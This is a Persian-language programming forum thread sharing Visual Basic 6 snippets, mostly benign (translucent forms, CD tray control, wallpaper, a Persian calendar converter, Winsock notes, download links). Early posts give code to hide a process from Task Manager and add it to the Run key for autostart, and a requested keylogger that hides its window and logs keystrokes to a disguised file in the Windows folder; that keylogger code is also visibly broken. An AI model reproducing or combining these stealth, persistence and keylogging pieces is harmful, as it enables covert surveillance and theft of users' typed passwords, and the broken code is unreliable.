در این قسمت قصد دارم سورس کدهایی که به برنامه نویسا کمک میکنه رو بزارم .
در ضمن اگه سوالی دارید میتونید بپرسید . خوشحال میشم بتونم کمکتون کنم .
:20:
Printable View
در این قسمت قصد دارم سورس کدهایی که به برنامه نویسا کمک میکنه رو بزارم .
در ضمن اگه سوالی دارید میتونید بپرسید . خوشحال میشم بتونم کمکتون کنم .
:20:
این کد رو توی یک ماژول بزارید و برنامه را از توی منوی تسک منیجر حذف کنید ...
کد:
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
' ----Public Declares for this code
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
' ----What makes it invisible/visible in Ctrl-alt-delete
' Note: That if you run this program from your development
'enviorment(VB) you will not see your development
'enviorment(VB) or your programs name in the
'Ctrl-Alt-Delete Dialog.
Public Sub Hide_Program_In_CTRL_ALT_Delete()
Dim pid As Long
Dim reserv As Long
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub
با این کد شما میتونید برنامه را در استارت آپ قرار دهید یعنی هربار اجرای ویندوز برنامه هم اجرا شود ...
کد:'*************in majooooool *****************
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" _
Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal _
hKey As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long
Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1
'****************in Form**********************
Private Sub Form_Load()
Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String
subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, _
KEY_WRITE, hregkey)
If retval <> 0 Then
Debug.Print "Can't open the subkey"
Exit Sub
End If
stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, _
ByVal stringbuffer, Len(stringbuffer))
RegCloseKey hregkey
End Sub
اگه دیدم طرفدار داره پیام بزارید تا کد رو براتون بزارم .
تقریبا هر کدی رو بخواهید میتونم ردیف کنم ...
میتونید برام email هم بزنید .... من هر روز چک می کنم
مثل اینکه طرفدار نداره!؟؟
بسم الله الرحمان الرحیم
ممنون
سورس یه کیلاگر ؟
ممنون میشم اگه بذارید
با سلام خدمت شما دوست عزیز ... قبل از اینکه سورس برنامه رو بزارم لازم به ذکر میدونم که بگم خیلی از این برنامه ها رو خودم ننوشتم ولی همهشونو میتونم تحلیل کنم ... اگه بعد از گزاشتن برنامه سوالی داشتین بپرسین ... با تشکر .در ضمن سورس رو براتون تو پست بعدی میزارم
سورس یک کی لاگر
امیدوارم که به دردتون بخوره ...کد:
***************dar yek majool
Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"
(ByVal vKey As Long) As Integer
*************** dar form yek commannd va yek timer darim
Dim strLetter As String, strTotal As String
Private Sub command1_Click()
App.TaskVisible = False
Form1.Visible = False
Form1.Hide
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
For I = 28 To 128
If GetAsyncKeyState <> 0 Then
strLetter = Chr(I)
End If
If strLetter <> old Then
old = strletterstr
Total = strTotal & old
End If
Next I
Open "C:\windows\SysResources.dat" For Output As #1
Print #1, strTotal
Close #1
End Sub
End Sub
این بار کمرنگ کردن فرم رو در vb می گم
اگه توضیح خواستید بگید تا بگم ...کد:
Option Explicit
Private Const GWL_EXSTYLE = (-20)
Private Const WS_EX_LAYERED = &H80000
Private Const LWA_ALPHA = &H2
Private Declare Function GetWindowLong Lib "user32" _
Alias "GetWindowLongA" (ByVal hWnd As Long, _
ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" _
Alias "SetWindowLongA" (ByVal hWnd As Long, _
ByVal nIndex As Long, ByVal dwNewLong As Long) _
As Long
Private Declare Function SetLayeredWindowAttributes Lib _
"user32" (ByVal hWnd As Long, ByVal crKey As Long, _
ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Public Function TranslucentForm(frm As Form, TranslucenceLevel As Byte) As Boolean
SetWindowLong frm.hWnd, GWL_EXSTYLE, WS_EX_LAYERED
SetLayeredWindowAttributes frm.hWnd, 0, TranslucenceLevel, LWA_ALPHA
TranslucentForm = Err.LastDllError = 0
End Function
Private Sub Command1_Click()
TranslucentForm Me, 128
End Sub
سلام ؛
سورس جدید مربوط به باز کردن درب cd rom هستش :
کد:
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal _
lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal _
hWndCallback As Long) As Long
Function vbmciSendString(ByVal Command As String, ByVal hWnd As Long) As String
Dim Buffer As String
Dim dwRet As Long
Buffer = Space$(100) ' Create a buffer
dwRet = mciSendString(Command, ByVal Buffer, Len(Buffer), hWnd)
vbmciSendString = Buffer
End Function
Private Sub Form_Load()
If Dummy = vbmciSendString("set cdaudio door open", 0) Then
Dummy = vbmciSendString("set cdaudio door open", 0)
Else
Dummy = vbmciSendString("set cdaudio door open", 0)
End If
End Sub
امیدوارم به دردتون بخوره ...
از همه اونایی که اومدن تو این تاپیک فقط یک نفر سوال پرسیده !!! واقعاً مایوس کننده است ... لا اقل یه نظری چیزی بدین ...
سورسی رو که این دفعه میخواهم بزارم مربوط به کد کردن و دیکد کردن نوشته است که در زیر میبینید .
در این کد یک textbox به نام pass وجود دارد که با فشار دادن command1 متن داخل آن کد شده و در یک متغیر ذخیره می شود ... با فشردن command2 متن رمز شده درون متغیر به حالت اول بر میگردد ... در هر دو حالت رمز گزاری و بازکردن رمز متن مورد نظر درون یک پیام نمایش می دهد که میتوان از آن استفاده های دیگری هم کرد ...کد:
Dim login, pass1 As String
Dim passch(8) As String
Dim ctr
Dim PassNew As String
Private Function EncryptPass() As String
On Error Resume Next
Dim Passtemp As String
PassNew = ""
pass1 = Len(Trim(pass.Text))
ctr = 1
Do While ctr <= pass1
PassNew = CStr(PassNew) & Chr((Asc(Mid(Trim(pass), ctr, 1)) + 17))
ctr = ctr + 1
Loop
MsgBox "Your Password after encryption is " & PassNew
End Function
Private Function DecryptPass() As String
On Error Resume Next
Dim Passlength As Integer, Cntr As Integer
Dim tempChar As String
Dim OldPass As String
Cntr = 1
Passlength = Len(PassNew)
Do While Cntr <= Passlength
OldPass = OldPass + Chr((Asc(Mid(Trim(PassNew), Cntr, 1)) - 17))
Cntr = Cntr + 1
Loop
MsgBox "The oldpassword was " & OldPass
Unload Me
End Function
Private Sub Command1_Click()
EncryptPass
End Sub
Private Sub Command2_Click()
DecryptPass
End Sub
اگر سوالی بود بپرسید ...
دوست عزیز شما که خیلی علاقه داری به بچه ها کمک کنی پس یک لطفی هم به ما کن
ببین من دارم یک برنامه مینویسم برای شبکه بکار میره
توی این برنامه یک وین سوکت داریم که براش ایندکس تعریف شده و در اجرای برنامه روی یک پورت لیسن میکنه
و زمانی که یک برنامه درخواست کانکشن میکنه ...
خوب مشکل من همینجاست
من میخوام این برنامه یک وین سوکت خاص لود کنه و آی.دیه درخواست کننده رو روی اون بفرسته
حالا چطور ممکنه؟
---------------------------------------------------
در ضمن من میخوام داخل لیست ویو (List View) از آیکان استفاده کنم اما نمیشه
با سپاس
موفق و پیروز باشید
با سلام ؛
یه توضیحاتی در مورد وین سوکت میزارم که مشکلتون رو در اونها پیدا می کنید ... اگه بازم مشکل داشتین پست بزارین ...
توابع API مرتبط با استاندارد وين سوكت :
اين توابع همه در فايل wsock32.dll موجود ميباشند
IP Helper چيست ؟کد:Closesocket
Connect
Gethostbyname
Gethostname
Getsockopt
Htons
inet_addr
inet_ntoa
ntohs
recv
Send
Setsockopt
Socket
WSAAsyncSelect
WSACancelBlockingCall
WSACleanup
WSAGetLastError
WSAIsBlocking
WSAStartup
يك سري توابع مربوط به كار با آي پي درون يك فايل Dll با نام iphlpapi.dll قرار دارد
ما در اينجا فقط يكي از اين توابع را معرفی می کنیم :
اين تابع ميتواند به ما مقادير آي پي و پورتهايي كه هم اكنون توسط ما يا كامپيوترهاي ديگر اشغال گرديده را بدهد. حال به تعريف مقادير پارامترهاي اين تابع ميپردازيم:کد:Declare Function GetTcpTable Lib "iphlpapi.dll" (ByRef pTcpTable As Any, ByRef pdwSize As Long, ByVal bOrder As Long) As Long
- pTcpTable : تايپ از نوع MIB_TCPROW است كه خود به صورت زير تعريف ميشود)در اينجا آدرس آن به تابع پاس داده ميشود و لازم به ذكر است اگر مقدار صفر براي اين پارامتر داده شود برگشتي مقدار حافظه مورد نياز جهت دريافت اطلاعات را برميگرداند در مثال زير اين قسمت كاملا مشخص است)
کد:Private Type MIB_TCPROW
dwState As Long
dwLocalAddr As Long
dwLocalPort As Long
dwRemoteAddr As Long
dwRemotePort As Long
LI dir=ltr>End Type
مقدار نام مقدار
MIB_TCP_STATE_CLOSED 1
MIB_TCP_STATE_LISTEN 2
MIB_TCP_STATE_SYN_SENT 3
MIB_TCP_STATE_SYN_RCVD 4
MIB_TCP_STATE_ESTAB 5
MIB_TCP_STATE_FIN_WAIT1 6
MIB_TCP_STATE_FIN_WAIT2 7
MIB_TCP_STATE_CLOSE_WAIT 8
MIB_TCP_STATE_CLOSING 9
MIB_TCP_STATE_LAST_ACK 10
MIB_TCP_STATE_TIME_WAIT 11
MIB_TCP_STATE_DELETE_TCB 12
- dwLocalAddr شماره آي پي لوكال را ميدهد (بصورت يك عدد كه ما بايد آن را بصورت فرمت xxx.xxx.xxx.xxx در آوريم)
- dwLocalPort شماره پورت لوكال را ميدهد
- dwRemoteAddr شماره آي پي هاست را ميدهد (بصورت يك عدد كه ما بايد آن را بصورت فرمت xxx.xxx.xxx.xxx در آوريم)
- dwRemotePort شماره پورت هاست را ميدهد
نه دوست عزیز مشکل من با وین سوکت نیست
من میخوام با آی.دی درخواست کننده رو روی یک وین سوکت دیگه انتقال بدم بعد اکسپت کنم
با وین سوکت بلدم کار کنم
سلام
اقایون
می خواستم بپرسم چطوری می شه فایل های دیگر رو در برنامه ام جا بدم و ازشون setup بسازم؟
یعنی یه چیزی مثل sfx که winrar می سازه اگه نشد فشردش کرد مهم نیست فقط یه setup باشه
و فایل ها رو از خودش extract کنه
ممنون
منم اين سوال رو چندين جا پرسيدم ولي كسي انگار نميدونه حالا اونرو يطور ديگه ميپرسم
كسي سورس كد يه رقص نور رو نداره
بايد اونا رو به صورت resource هاي سفارشي به برنامه اضافه كني البته يادم نيست به صورت unicode يا غير اون اونا رو با دستور open تو يه فايل بريزي(موقع setup ).نقل قول:
براي اطلاعات بيشتر تو انجمنا درباره resource ها و دستور open سرچ كن.
منظور از رقص نور چیه؟
اگه منظورت اینه که مثلاً به ترتیب رنگ 4-5 تا لیبل عوض بشه که کاری نداره و لی اگه منظور دیگه ای دارین واضح تر بگین که چی میخواهید ...
دوست عزیز من مدتها بود دنبال این کد ها می گشتم
بازم متشکرم.
سلام ؛
آقا من فکرم به جایی نمیرسه .. بگید چی بزارم ؟؟
اگه یه جای خوب برای share کردن پیدا کنمممم ..........
:32:
آقا بلاخره برای آپلود یه جای خوب پیدا کردم ...
اولین سورس کد :
یک سورتر عدد نسبتا ساده
" [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] "
من برنامه اي براي تشخيص متن زير موس مي خوام
يك نمونه پيدا كردم اما بايد فايلهاش رجيستر بشه
نمونه اي شما سراغ داريد؟
سلام!چيزي كه شما نياز داريد OCR نام داره كه تو هشتاد درصد موارد درست عمل ميكنه.نقل قول:
به نظر من بهتره به جاي OCR از اين روش استفاده كنيد كه Handle قسمت يا كنترلي كه موس روي اونه رو بدست بياريد و با استفاده از اون متن روي كنترل رو تشخيص بديد،كاري كه Babylon انجام مي ده.
من هم با نظر آقا مجید موافقم .
سورس کد OCR ها خیلی پیچیده است و به نظر من بهترین راهش هم همون کاریه که گفتن ، یعنی handle اون رو میگیره و متن رو بر میگردونه ...
در ضمن فکر کنم سورسشو داشته باشم ... اگه داشتم براتون میزارم .
سلام ؛ تو این پست یه سورس از یه کتابخانه دیجیتال ساده میزارم که خیلی ساده هستش ولی برای آموزش کار با فایل های متنی خوبه ...
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
سلام به همه ؛
یه سورس کد برای کمرنگ کردن فرم :
این عدد آخری که 128 هست میتونه از 0 تا 255 باشه که هرچی بیشتر باشه فرم پر رنگ تره ...کد:
Option Explicit
Private Const GWL_EXSTYLE = (-20)
Private Const WS_EX_LAYERED = &H80000
Private Const LWA_ALPHA = &H2
Private Declare Function GetWindowLong Lib "user32" _
Alias "GetWindowLongA" (ByVal hWnd As Long, _
ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" _
Alias "SetWindowLongA" (ByVal hWnd As Long, _
ByVal nIndex As Long, ByVal dwNewLong As Long) _
As Long
Private Declare Function SetLayeredWindowAttributes Lib _
"user32" (ByVal hWnd As Long, ByVal crKey As Long, _
ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Public Function TranslucentForm(frm As Form, TranslucenceLevel As Byte) As Boolean
SetWindowLong frm.hWnd, GWL_EXSTYLE, WS_EX_LAYERED
SetLayeredWindowAttributes frm.hWnd, 0, TranslucenceLevel, LWA_ALPHA
TranslucentForm = Err.LastDllError = 0
End Function
Private Sub Form_Load()
TranslucentForm Me, 128
End Sub
سلام ؛
یه سورس برای تغییر عکس دسکتاپ (wall paper)
اگر عکس عوض شود تابع مقدار true را بر میگرداند ...کد:Private Declare Function SystemParametersInfo Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, _
ByRef lpvParam As Any, ByVal fuWinIni As Long) As Long
Const SPI_SETDESKWALLPAPER = 20
Const SPIF_SENDWININICHANGE = &H2
Const SPIF_UPDATEINIFILE = &H1
Function SetWallpaper(Optional ByVal FileName As String) As Boolean
If SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, ByVal FileName, _
SPIF_SENDWININICHANGE Or SPIF_UPDATEINIFILE)Then
SetWallpaper = True
End If
End Function
تبدیل تاریخ میلادی به شمسی :
کد:Public Function m_to_sh(input_date As Date, xxx As Integer) As String
Dim calendar As calender
Dim today, today_sh, this_month, this_year, this_year_sh As Integer
Dim this_month_sh As String
Dim today_sh_text, mm As String
Dim m As Integer
today = Day(input_date)
this_month = Month(input_date)
this_year = Year(input_date)
If (this_year Mod 4) = 0 Then
Select Case this_month
Case 1
m = "01"
calender.start = 11
calender.last = 30
calender.p_month = "دي"
calender.s_month = "بهمن"
'----------------------------'
Case 2
m = "02"
calender.start = 12
calender.last = 30
calender.p_month = "بهمن"
calender.s_month = "اسفند"
'----------------------------'
Case 3
m = "03"
calender.start = 11
calender.last = 29
calender.p_month = "اسفند"
calender.s_month = "فروردين"
'----------------------------'
Case 4
m = "04"
calender.start = 13
calender.last = 31
calender.p_month = "فروردين"
calender.s_month = "ارديبهشت"
'----------------------------'
Case 5
m = "05"
calender.start = 12
calender.last = 31
calender.p_month = "ارديبهشت"
calender.s_month = "خرداد"
'----------------------------'
Case 6
m = "06"
calender.start = 12
calender.last = 31
calender.p_month = "خرداد"
calender.s_month = "تير"
'----------------------------'
Case 7
m = "07"
calender.start = 11
calender.last = 31
calender.p_month = "تير"
calender.s_month = "مرداد"
'----------------------------'
Case 8
m = "08"
calender.start = 11
calender.last = 31
calender.p_month = "مرداد"
calender.s_month = "شهريور"
'----------------------------'
Case 9
m = "09"
calender.start = 11
calender.last = 31
calender.p_month = "شهريور"
calender.s_month = "مهر"
'----------------------------'
Case 10
m = "10"
calender.start = 10
calender.last = 30
calender.p_month = "مهر"
calender.s_month = "آبان"
'----------------------------'
Case 11
m = "11"
calender.start = 11
calender.last = 30
calender.p_month = "آبان"
calender.s_month = "آذر"
'----------------------------'
Case 12
m = "12"
calender.start = 11
calender.last = 30
calender.p_month = "آذر"
calender.s_month = "دي"
End Select
'----------------------------'
'&&&&&&&&&&&&&&&&&&&&&&&&&&&&'
'----------------------------'
Else
Select Case this_month
Case 1
m = "01"
calender.start = 12
calender.last = 30
calender.p_month = "دي"
calender.s_month = "بهمن"
'----------------------------'
Case 2
m = "02"
calender.start = 13
calender.last = 30
calender.p_month = "بهمن"
calender.s_month = "اسفند"
'----------------------------'
Case 3
m = "03"
calender.start = 11
If ((this_year - 1) Mod 4 = 0) Then
calender.last = 30
Else
calender.last = 29
End If
calender.p_month = "اسفند"
calender.s_month = "فروردين"
'----------------------------'
Case 4
m = "04"
calender.start = 12
calender.last = 31
calender.p_month = "فروردين"
calender.s_month = "ارديبهشت"
'----------------------------'
Case 5
m = "05"
calender.start = 11
calender.last = 31
calender.p_month = "ارديبهشت"
calender.s_month = "خرداد"
'----------------------------'
Case 6
m = "06"
calender.start = 11
calender.last = 31
calender.p_month = "خرداد"
calender.s_month = "تير"
'----------------------------'
Case 7
m = "07"
calender.start = 10
calender.last = 31
calender.p_month = "تير"
calender.s_month = "مرداد"
'----------------------------'
Case 8
m = "08"
calender.start = 10
calender.last = 31
calender.p_month = "مرداد"
calender.s_month = "شهريور"
'----------------------------'
Case 9
m = "09"
calender.start = 10
calender.last = 31
calender.p_month = "شهريور"
calender.s_month = "مهر"
'----------------------------'
Case 10
m = "10"
calender.start = 9
calender.last = 30
calender.p_month = "مهر"
calender.s_month = "آبان"
'----------------------------'
Case 11
m = "11"
calender.start = 10
calender.last = 30
calender.p_month = "آبان"
calender.s_month = "آذر"
'----------------------------'
Case 12
m = "12"
calender.start = 10
calender.last = 30
calender.p_month = "آذر"
calender.s_month = "دي"
End Select
End If
If (this_month > 3) Or (this_month = 3 And today > 19) Then
this_year_sh = (this_year - 622) + 1 + (4 * xxx)
Else
this_year_sh = (this_year - 622) + (4 * xxx)
End If
today_sh = calender.start + today - 1
If today_sh <= calender.last Then
this_month_sh = calender.p_month
Else
this_month_sh = calender.s_month
m = m + 1
today_sh = today_sh - calender.last
End If
If today_sh < 10 Then
today_sh_text = "0" & today_sh
Else
today_sh_text = today_sh
End If
If m < 10 Then
mm = "0" & m
Else
mm = m
End If
m_to_sh = today_sh_text & "," & this_month_sh & "," & this_year_sh
End Function
آنتی ویروس
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
کد:http://www.megaupload.com/?d=J92B2C10
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
کد:http://www.megaupload.com/?d=P60ND4ZK
بدست آوردن سریال ، نام و مدل هارد دیسک
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
کد:http://www.megaupload.com/?d=DR3URXN7
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
کد:http://www.megaupload.com/?d=KOWPVLXW
نوت پد
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
کد:http://www.megaupload.com/?d=QE4IKOU0
اسکرین سرور ماتریکس
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
کد:http://www.megaupload.com/?d=1M03UEPW
اسکرین سرور ماتریکسی 2
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
کد:http://www.megaupload.com/?d=NE1HBCV7
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
کد:http://www.megaupload.com/?d=4FWQMDO3
Mini Explorer
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
کد:http://www.megaupload.com/?d=T2TG2TOI
غیر فعال کردن دکمه CLOSE
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
کد:http://www.megaupload.com/?d=CKEUNH4L
آپدیت کردن برنامه
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
کد:http://www.megaupload.com/?d=0Z2QJZS7
Virtual Desktop
چندین دسکتاپ داشته باشید
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
کد:http://www.megaupload.com/?d=K3FJZEN8